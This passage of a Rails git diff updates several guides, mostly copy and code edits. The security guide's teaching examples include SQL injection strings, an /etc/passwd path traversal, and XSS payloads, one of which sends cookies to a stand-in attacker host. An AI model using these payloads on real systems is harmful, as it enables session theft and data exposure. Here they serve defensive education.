+Now, when the helper generator is invoked and let's say test unit is configured as test framework, it will try to invoke both +MyHelper::Generators::TestUnitGenerator+ and +TestUnit::Generators::MyHelperGenerator+. Since none of those are defined, we can tell our generator to invoke +TestUnit::Generators::HelperGenerator+ instead, which is defined since it's a Rails hook. To do that, we just need to add:
+
+<ruby>
+ # Search for :helper instead of :my_helper
+ hook_for :test_framework, :as => :helper
+</ruby>
+
+And now you can re-run scaffold for another resource and see it generating tests as well!
+
+h3. Customizing your workflow by changing generators templates
+
+In the step above, we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators.
+
+In Rails 3.0 and above, generators does not look only in the source root for templates, they also search for templates in other paths. And one of them is inside +RAILS_APP/lib/templates+. Since we want to customize +Rails::Generators::HelperGenerator+, we can do that by simple making a template copy inside +RAILS_APP/lib/templates/rails/helper+ with the name +helper.rb+. So let's create such file with the following content:
+
+<erb>
+module <%= class_name %>Helper
+ attr_reader :<%= plural_name %>, <%= plural_name.singularize %>
+end
+</erb>
+
+So now we can revert the changes in +config/application.rb+:
+
+<ruby>
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :test_unit, :fixture => false
+ g.stylesheets false
+end
+</ruby>
+
+If you generate another resource, you can see that we got exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating +edit.html.erb+, +index.html.erb+ and so on inside +RAILS_APP/lib/templates/erb/scaffold+.
+
+h3. Adding generators fallbacks
+
+One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit test framework, like "shoulda":http://github.com/thoughtbot/shoulda does. Since TestUnit already implements all generators required by Rails and shoulda just want to overwrite part of it, there is no need for shoulda to reimplement some generators again, they can simply tell Rails to use a +TestUnit+ generator if none was found under +Shoulda+ namespace.
+
+We can easily simulate this behavior by changing our +config/application.rb+ once again:
+
+<ruby>
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :shoulda, :fixture => false
+ g.stylesheets false
+end
+</ruby>
+
+And at the end of the same file:
+
+<ruby>
+require 'rails/generators'
+Rails::Generators.fallbacks[:shoulda] = :test_unit
+</ruby>
+
+Now, if create a Comment scaffold, you will see that shoulda generators are being invoked, and at the end, they are just falling back to test unit generators:
+
+<shell>
+$ ruby script/generate scaffold Comment body:text
+ invoke active_record
+ create db/migrate/20091120151323_create_comments.rb
+ create app/models/comment.rb
+ invoke shoulda
+ create test/unit/comment_test.rb
+ create test/fixtures/comments.yml
+ route map.resources :comments
+ invoke scaffold_controller
+ create app/controllers/comments_controller.rb
+ invoke erb
+ create app/views/comments
+ create app/views/comments/index.html.erb
+ create app/views/comments/edit.html.erb
+ create app/views/comments/show.html.erb
+ create app/views/comments/new.html.erb
+ create app/views/comments/_form.html.erb
+ create app/views/layouts/comments.html.erb
+ invoke shoulda
+ create test/functional/comments_controller_test.rb
+ invoke my_helper
+ create app/helpers/comments_helper.rb
+ invoke shoulda
+ create test/unit/helpers/comments_helper_test.rb
+</shell>
+
+Such tool allows your generators to have single responsibility, increasing the code reuse and reducing the amount of code duplication.
+
+h3. Changelog
+
+"Lighthouse Ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/102
+
+* November 20, 2009: First release version by José Valim
diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile
index 5c05648f12..bd6dbda199 100644
--- a/railties/guides/source/getting_started.textile
+++ b/railties/guides/source/getting_started.textile
@@ -22,8 +22,8 @@ This guide is designed for beginners who want to get started with a Rails applic
It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the internet for learning Ruby, including:
* "Mr. Neighborly's Humble Little Ruby Book":http://www.humblelittlerubybook.com
-* "Programming Ruby":http://www.rubycentral.com/book
-* "Why's (Poignant) Guide to Ruby":http://poignantguide.net/ruby/
+* "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/
+* "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/
h3. What is Rails?
@@ -51,7 +51,7 @@ A model represents the information (data) of the application and the rules to ma
h5. Views
-Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.
+Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that perform tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.
h5. Controllers
@@ -381,7 +381,7 @@ $ rake db:migrate
Remember, you can't run migrations before running +rake db:create+ to create your database, as we covered earlier.
-NOTE: Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file.
+NOTE. Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file.
h4. Adding a Link
@@ -1052,7 +1052,7 @@ This creates a new +Comment+ object _and_ sets up the +post_id+ field to have th
h4. Building Views
-Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.
+Because you skipped scaffolding, you'll need to build views for comments "by hand". Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.
The +views/comments/index.html.erb+ view:
diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile
index b588656821..ec69f770ee 100644
--- a/railties/guides/source/i18n.textile
+++ b/railties/guides/source/i18n.textile
@@ -243,7 +243,7 @@ map.dashboard '/:locale', :controller => "dashboard"
Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +map.root+ declaration.)
-IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitly, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":http://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":http://github.com/raul/translate_routes/tree/master. See also the page "How to encode the current locale in the URL":http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url in the Rails i18n Wiki.
+IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitly, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":http://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":http://github.com/raul/translate_routes/tree/master. See also the page "How to encode the current locale in the URL":http://rails-i18n.org/wiki/wikipages/how-to-encode-the-current-locale-in-the-url in the Rails i18n Wiki.
h4. Setting the Locale from the Client Supplied Information
diff --git a/railties/guides/source/index.erb.textile b/railties/guides/source/index.textile.erb
index 851d91da2f..851d91da2f 100644
--- a/railties/guides/source/index.erb.textile
+++ b/railties/guides/source/index.textile.erb
diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb
index eb66366d07..7dfcf4a507 100644
--- a/railties/guides/source/layout.html.erb
+++ b/railties/guides/source/layout.html.erb
@@ -87,7 +87,7 @@
<div id="container">
<div class="wrapper">
<div id="mainCol">
- <%= yield %>
+ <%= yield.html_safe! %>
</div>
</div>
</div>
diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile
index 5f49ac41f5..771c3e2523 100644
--- a/railties/guides/source/migrations.textile
+++ b/railties/guides/source/migrations.textile
@@ -582,7 +582,7 @@ The Active Record way claims that intelligence belongs in your models, not in th
Validations such as +validates_uniqueness_of+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
-Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":http://github.com/harukizaemon/foreign_key_migrations/tree/master which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+).
+Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":http://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/ which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+).
h3. Changelog
diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile
index a5d39c3d09..06d0d493e4 100644
--- a/railties/guides/source/plugins.textile
+++ b/railties/guides/source/plugins.textile
@@ -1406,7 +1406,7 @@ rake rdoc
h3. Appendix
-If you prefer to use RSpec instead of Test::Unit, you may be interested in the "RSpec Plugin Generator":http://github.com/pat-maddox/rspec-plugin-generator/tree/master.
+If you prefer to use RSpec instead of Test::Unit, you may be interested in the "RSpec Plugin Generator":http://github.com/patmaddox/rspec-plugin-generator.
h4. References
diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile
index 1ad45f1cca..df93580e89 100644
--- a/railties/guides/source/rails_on_rack.textile
+++ b/railties/guides/source/rails_on_rack.textile
@@ -68,7 +68,7 @@ run ActionController::Dispatcher.new
And start the server:
<shell>
-[lifo@null application]$ rackup
+[lifo@null application]$ rackup config.ru
</shell>
To find out more about different +rackup+ options:
diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile
index 355f385d49..24f0578545 100644
--- a/railties/guides/source/routing.textile
+++ b/railties/guides/source/routing.textile
@@ -871,13 +871,13 @@ h5. The +assert_recognizes+ Assertion
The +assert_recognizes+ assertion is the inverse of +assert_generates+. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.
<ruby>
-assert_recognizes { :controller => "photos", :action => "show", :id => "1" }, "/photos/1"
+assert_recognizes({ :controller => "photos", :action => "show", :id => "1" }, "/photos/1")
</ruby>
You can supply a +:method+ argument to specify the HTTP verb:
<ruby>
-assert_recognizes { :controller => "photos", :action => "create" }, { :path => "photos", :method => :post }
+assert_recognizes({ :controller => "photos", :action => "create" }, { :path => "photos", :method => :post })
</ruby>
You can also use the RESTful helpers to test recognition of a RESTful route:
@@ -891,7 +891,7 @@ h5. The +assert_routing+ Assertion
The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+.
<ruby>
-assert_routing { :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }
+assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" })
</ruby>
h3. Changelog
diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile
index c26bea5519..ecf68b56f9 100644
--- a/railties/guides/source/security.textile
+++ b/railties/guides/source/security.textile
@@ -149,26 +149,24 @@ h4. Session Expiry
-- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
-One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20m")+ to expire sessions that were used longer than 20 minutes ago.
+One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20 minutes")+ to expire sessions that were used longer than 20 minutes ago.
<ruby>
class Session < ActiveRecord::Base
- def self.sweep(time_ago = nil)
-
 time = case time_ago
-
 when /^(\d+)m$/ then Time.now - $1.to_i.minute
-
 when /^(\d+)h$/ then Time.now - $1.to_i.hour
-
 when /^(\d+)d$/ then Time.now - $1.to_i.day
-
 else Time.now - 1.hour
-
 end
-
 self.delete_all "updated_at < '#{time.to_s(:db)}'"
-
 end
-
end
+ def self.sweep(time = 1.hour)
+ time = time.split.inject { |count, unit|
+ count.to_i.send(unit)
+ } if time.is_a?(String)
+
+ delete_all "updated_at < '#{time.ago.to_s(:db)}'"
+ end
+end
</ruby>
The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
<ruby>
-self.delete_all "updated_at < '#{time.to_s(:db)}' OR
+delete_all "updated_at < '#{time.to_s(:db)}' OR
created_at < '#{2.days.ago.to_s(:db)}'"
</ruby>
@@ -291,7 +289,7 @@ def sanitize_filename(filename)
returning filename.strip do |name|
# NOTE: File.basename doesn't work right with Windows paths on Unix
# get only the filename, not the whole path
- name.gsub! /^.*(\\|\/)/, ''
+ name.sub! /\A.*(\\|\/)/, ''
# Finally, replace all non alphanumeric, underscore
# or periods with underscore
name.gsub! /[^\w\.\-]/, '_'
@@ -326,7 +324,7 @@ Simply pass a file name like “../../../etc/passwd” to download the server's
<ruby>
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
-raise if basename =!
+raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, :disposition => 'inline'
</ruby>
@@ -381,7 +379,7 @@ end
Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
<pre>
-"name":http://www.example.com/user/signup?user=ow3ned&user[admin]=1
+"name":http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
</pre>
This will set the following parameters in the controller:
@@ -396,7 +394,7 @@ Note that this vulnerability is not restricted to database columns. Any setter
<ruby>
class Person < ActiveRecord::Base
- has_many :credits
+ has_many :children
accepts_nested_attributes_for :children
end
@@ -471,7 +469,7 @@ h4. Brute-Forcing Accounts
-- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
-A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.
+A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.
@@ -536,7 +534,7 @@ h4. Good Passwords
-- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
-Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
@@ -556,7 +554,7 @@ class File < ActiveRecord::Base
end
</ruby>
-This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
+This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
<plain>
file.txt%0A<script>alert('hello')</script>
@@ -572,7 +570,7 @@ h4. Privilege Escalation
-- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
-The most common parameter that a user might tamper with, is the id parameter, as in +":id":http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
+The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
<ruby>
@project = Project.find(params[:id])
@@ -621,7 +619,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap
Project.find(:all, :conditions => "name = '#{params[:name]}'")
</ruby>
-This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be:
+This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
<sql>
SELECT * FROM projects WHERE name = '' OR 1 --'
@@ -631,7 +629,7 @@ The two dashes start a comment ignoring everything after it. So the query return
h5. Bypassing Authorization
-Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
<ruby>
User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
@@ -640,7 +638,7 @@ User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password
If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
<sql>
-SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
</sql>
This will simply find the first record in the database, and grants access to this user.
@@ -663,7 +661,7 @@ This will result in the following SQL query:
<sql>
SELECT * FROM projects WHERE (name = '') UNION
- SELECT id,login AS name,password AS description,1,1,1 FROM users --')
+ SELECT id,login AS name,password AS description,1,1,1 FROM users --'
</sql>
The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
@@ -729,7 +727,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
<script>document.write(document.cookie);</script>
</plain>
-For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
+For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
<html>
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
@@ -753,7 +751,7 @@ With web page defacement an attacker can do a lot of things, for example, presen
This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
-A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
+A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
@@ -828,7 +826,7 @@ MySpace blocks many tags, however it allows CSS. So the worm's author put JavaSc
<div style="background:url('javascript:alert(1)')">
</html>
-So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.
+So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
<html>
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
@@ -901,7 +899,7 @@ h4. Command Line Injection
-- _Use user-supplied command line parameters with caution._
-If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and \+command+. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
+If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.
diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile
index 8318146ed3..c7b475899f 100644
--- a/railties/guides/source/testing.textile
+++ b/railties/guides/source/testing.textile
@@ -162,7 +162,7 @@ require 'test_helper'
class PostTest < ActiveSupport::TestCase
# Replace this with your real tests.
- def test_truth
+ test "the truth" do
assert true
end
end
@@ -186,7 +186,17 @@ The +PostTest+ class defines a _test case_ because it inherits from +ActiveSuppo
def test_truth
</ruby>
-Any method defined within a test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run.
+Any method defined within a +Test::Unit+ test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run.
+
+Rails adds a +test+ method that takes a test name and a block. It generates a normal +Test::Unit+ test with method names prefixed with +test_+.
+
+<ruby>
+test "the truth" do
+ # ...
+end
+</ruby>
+
+This makes test names more readable by replacing underscores with regular language.
<ruby>
assert true
@@ -262,7 +272,7 @@ The +.+ (dot) above indicates a passing test. When a test fails you see an +F+;
To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case.
<ruby>
-def test_should_not_save_post_without_title
+test "should not save post without title" do
post = Post.new
assert !post.save
end
@@ -272,16 +282,13 @@ Let us run this newly added test.
<pre>
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
+Loaded suite -e
Started
F
-Finished in 0.197094 seconds.
+Finished in 0.102072 seconds.
1) Failure:
-test_should_not_save_post_without_title(PostTest)
- [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
+test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
<false> is not true.
1 tests, 1 assertions, 1 failures, 0 errors
@@ -290,7 +297,7 @@ test_should_not_save_post_without_title(PostTest)
In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:
<ruby>
-def test_should_not_save_post_without_title
+test "should not save post without title" do
post = Post.new
assert !post.save, "Saved the post without a title"
end
@@ -299,21 +306,10 @@ end
Running this test shows the friendlier assertion message:
<pre>
-$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-F
-Finished in 0.198093 seconds.
-
1) Failure:
-test_should_not_save_post_without_title(PostTest)
- [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
+test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
Saved the post without a title.
<false> is not true.
-
-1 tests, 1 assertions, 1 failures, 0 errors
</pre>
Now to get this test to pass we can add a model level validation for the _title_ field.
@@ -343,7 +339,7 @@ TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an
To see how an error gets reported, here's a test containing an error:
<ruby>
-def test_should_report_error
+test "should report error" do
# some_undefined_variable is not defined elsewhere in the test case
some_undefined_variable
assert true
@@ -354,18 +350,15 @@ Now you can see even more output in the console from running the tests:
<pre>
$ ruby unit/post_test.rb -n test_should_report_error
-Loaded suite unit/post_test
+Loaded suite -e
Started
E
-Finished in 0.195757 seconds.
+Finished in 0.082603 seconds.
1) Error:
test_should_report_error(PostTest):
-NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x2cc9de8>
- /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing'
- unit/post_test.rb:16:in `test_should_report_error'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
+NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x249d354>
+ /test/unit/post_test.rb:6:in `test_should_report_error'
1 tests, 0 assertions, 0 failures, 1 errors
</pre>
@@ -446,7 +439,7 @@ Now that we have used Rails scaffold generator for our +Post+ resource, it has a
Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+.
<ruby>
-def test_should_get_index
+test "should get index" do
get :index
assert_response :success
assert_not_nil assigns(:posts)
@@ -479,7 +472,7 @@ NOTE: If you try running +test_should_create_post+ test from +posts_controller_t
Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass:
<ruby>
-def test_should_create_post
+test "should create post" do
assert_difference('Post.count') do
post :create, :post => { :title => 'Some title'}
end
@@ -535,7 +528,7 @@ h4. A Fuller Functional Test Example
Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
<ruby>
-def test_should_create_post
+test "should create post" do
assert_difference('Post.count') do
post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
end
@@ -625,7 +618,7 @@ class UserFlowsTest < ActionController::IntegrationTest
# fixtures :your, :models
# Replace this with your real tests.
- def test_truth
+ test "the truth" do
assert true
end
end
@@ -660,7 +653,7 @@ require 'test_helper'
class UserFlowsTest < ActionController::IntegrationTest
fixtures :users
- def test_login_and_browse_site
+ test "login and browse site" do
# login via https
https!
get "/login"
@@ -688,7 +681,7 @@ require 'test_helper'
class UserFlowsTest < ActionController::IntegrationTest
fixtures :users
- def test_login_and_browse_site
+ test "login and browse site" do
# User avs logs in
avs = login(:avs)
@@ -771,12 +764,12 @@ class PostsControllerTest < ActionController::TestCase
@post = nil
end
- def test_should_show_post
+ test "should show post" do
get :show, :id => @post.id
assert_response :success
end
- def test_should_destroy_post
+ test "should destroy post" do
assert_difference('Post.count', -1) do
delete :destroy, :id => @post.id
end
@@ -809,17 +802,17 @@ class PostsControllerTest < ActionController::TestCase
@post = nil
end
- def test_should_show_post
+ test "should show post" do
get :show, :id => @post.id
assert_response :success
end
- def test_should_update_post
+ test "should update post" do
put :update, :id => @post.id, :post => { }
assert_redirected_to post_path(assigns(:post))
end
- def test_should_destroy_post
+ test "should destroy post" do
assert_difference('Post.count', -1) do
delete :destroy, :id => @post.id
end
@@ -841,7 +834,7 @@ h3. Testing Routes
Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like:
<ruby>
-def test_should_route_to_post
+test "should route to post" do
assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
end
</ruby>
@@ -883,7 +876,7 @@ require 'test_helper'
class UserMailerTest < ActionMailer::TestCase
tests UserMailer
- def test_invite
+ test "invite" do
@expected.from = 'me@example.com'
@expected.to = 'friend@example.com'
@expected.subject = "You have been invited by #{@expected.from}"
@@ -920,7 +913,7 @@ Functional testing for mailers involves more than just checking that the email b
require 'test_helper'
class UserControllerTest < ActionController::TestCase
- def test_invite_friend
+ test "invite friend" do
assert_difference 'ActionMailer::Base.deliveries.size', +1 do
post :invite_friend, :email => 'friend@example.com'
end
diff --git a/railties/lib/rails/generators/erb.rb b/railties/lib/generators/erb.rb
index d468d012dc..d468d012dc 100644
--- a/railties/lib/rails/generators/erb.rb
+++ b/railties/lib/generators/erb.rb
diff --git a/railties/lib/rails/generators/erb/controller/controller_generator.rb b/railties/lib/generators/erb/controller/controller_generator.rb
index f8780d9c33..ab7b273662 100644
--- a/railties/lib/rails/generators/erb/controller/controller_generator.rb
+++ b/railties/lib/generators/erb/controller/controller_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/erb'
+require 'generators/erb'
module Erb
module Generators
diff --git a/railties/lib/rails/generators/erb/controller/templates/view.html.erb b/railties/lib/generators/erb/controller/templates/view.html.erb
index cd54d13d83..cd54d13d83 100644
--- a/railties/lib/rails/generators/erb/controller/templates/view.html.erb
+++ b/railties/lib/generators/erb/controller/templates/view.html.erb
diff --git a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb b/railties/lib/generators/erb/mailer/mailer_generator.rb
index 5266259e2f..4ec2f4c9f4 100644
